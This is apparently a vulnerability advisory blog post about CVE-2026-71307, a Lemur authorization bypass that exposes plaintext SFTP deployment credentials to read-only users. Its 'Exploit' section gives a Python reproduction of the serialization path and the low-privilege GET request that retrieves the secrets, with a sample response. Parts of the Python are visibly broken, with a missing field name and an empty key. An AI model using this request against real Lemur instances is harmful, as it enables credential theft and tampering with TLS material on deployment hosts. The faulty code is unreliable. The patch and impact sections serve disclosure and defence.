Listen to this Post
CVE-2026-71307 is an authorization bypass vulnerability in Netflix’s Lemur, a TLS certificate management tool. Prior to version 1.9.3, Lemur’s destination read endpoints—GET /api/1/destinations and GET /api/1/destinations/<id>—returned the full set of stored plugin option values to any authenticated user without proper authorization checks.
The core issue lies in inconsistent permission enforcement. While the write endpoints (POST, PUT, DELETE) are protected by @admin_permission.require, the read handlers are only protected by login_required. This means even users with read‑only privileges can access sensitive data. The `DestinationOutputSchema` serializes all option values verbatim and copies them into `pluginOptions` without redacting sensitive fields.
Compounding this, the built‑in SFTP destination plugin stores credentials like `password` and `privateKeyPass` in plaintext in the `destinations.options` column—the plugin’s own docstring explicitly states “Passwords are not encrypted and stored as a plain text”. As a result, any authenticated user, including those with read‑only access, can retrieve these credentials via the API.
An attacker can use the exposed SFTP credentials to authenticate directly to the remote server where Lemur deploys certificates, potentially replacing or reading TLS material outside Lemur’s security boundary. The issue is fixed in version 1.9.3 by requiring administrator permission for destination reads and redacting sensitive options.
DailyCVE Form:
Platform: Netflix Lemur
Version: < 1.9.3
Vulnerability: Authorization Bypass
Severity: High (CVSS 7.7)
date: 2026-08-18
Prediction: 2026-08-18 (Fixed in v1.9.3)
What Undercode Say:
Analytics from vulnerability databases show CVSS 7.7 (High) with Network attack vector, Low privileges required, and Changed scope. The vulnerability is exploitable with low attack complexity and no user interaction. The GitHub Security Advisory (GHSA-6c8m-q6g9-vrw3) was published on August 18, 2026. The fix was released in Lemur version 1.9.3 on the same day. Exploitability is rated as “poc” with partial technical impact. The vulnerability affects all Lemur instances prior to 1.9.3. The exposed credentials could permit direct access to SFTP systems and TLS material outside the Lemur security boundary.
Exploit: (Educational Purposes!)
Reproduction of Lemur’s exact serialization path:
from marshmallow import fields, post_dump, Schema
class PluginOutputSchema(Schema):
id = fields.Integer()
label = fields.String()
description = fields.String()
active = fields.Boolean()
options = fields.List(fields.Dict(), dump_to="pluginOptions")
slug = fields.String()
= fields.String()
class DestinationOutputSchema(Schema):
id = fields.Integer()
label = fields.String()
description = fields.String()
active = fields.Boolean()
plugin = fields.Nested(PluginOutputSchema)
options = fields.List(fields.Dict())
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"]
return data
class Destination:
id = 4
label = "prod-nginx-sftp"
description = "Deploy certs via SFTP"
active = True
options = [
{"name": "host", "type": "str", "value": "10.0.5.20"},
{"name": "user", "type": "str", "value": "deploy"},
{"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
]
plugin = {
"slug": "sftp-destination",
"": "SFTP",
"description": "Allow the uploading of certificates to SFTP",
"options": [],
"id": 1,
"label": None,
"active": None
}
out = DestinationOutputSchema().dump(Destination()).data
import json
print(json.dumps(out, indent=2))
End‑to‑end exploitation as a low‑privilege user:
GET /api/1/destinations/4 HTTP/1.1 Host: lemur.example.com Authorization: Bearer <low-priv-user-token>
The response returns plaintext credentials in both `options` and plugin.pluginOptions:
{
"options": [
{"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"}
],
"plugin": {
"pluginOptions": [
{"name": "password", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "value": "rsa-key-passphrase-xyz"}
],
"slug": "sftp-destination"
}
}
Protection:
Upgrade to Lemur version 1.9.3 or later. The fix gates destination `GET` handlers with admin_permission, consistent with write handlers. Sensitive option values are now redacted for non‑admin callers; administrators retain the ability to view and edit them. As a workaround, administrators can manually restrict access to the destinations API or implement additional authorization middleware until upgrading.
Impact:
Confidentiality breach of deployment credentials. Any authenticated Lemur user—regardless of role, including read‑only users—can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations, this exposes the SSH password and/or the passphrase protecting the RSA key used to push certificates. With these credentials, an attacker can authenticate directly to remote certificate‑deployment hosts, replacing or reading TLS material—a scope change beyond Lemur itself. The same read path exposes any other secret‑bearing option a destination plugin stores in cleartext.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
